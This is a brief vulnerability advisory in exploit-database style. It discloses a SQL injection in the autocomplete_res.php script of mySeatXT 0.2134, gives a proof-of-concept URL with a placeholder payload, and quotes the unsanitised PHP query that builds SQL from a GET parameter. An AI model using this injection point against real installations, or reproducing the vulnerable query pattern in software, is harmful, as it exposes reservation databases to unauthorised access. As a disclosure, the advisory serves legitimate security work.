########################################################################################
[+] Exploit: mySeatXT 0.2134                                                           #
[+] Author: vinicius777					                               #
[+] Contact: vinicius777 [AT] gmail  @vinicius777_                                     #	                 
[+] Vendor Homepage: http://sourceforge.net/projects/myseat                            #
########################################################################################

  
[1] Sql Injection
 

PoC: http://localhost/mySeatXT/web/ajax/autocomplete_res.php?term=99' ['SQL INJECT']
  


Vulnerable Code:
[+] autocomplete_res.php


$sql = "SELECT * FROM reservations WHERE reservation_guest_name LIKE '".$_GET['term']."%' GROUP BY reservation_guest_name ";
$fetch = mysql_query($sql);



#
#
# Greetz to g0tm1lk and TheColonial.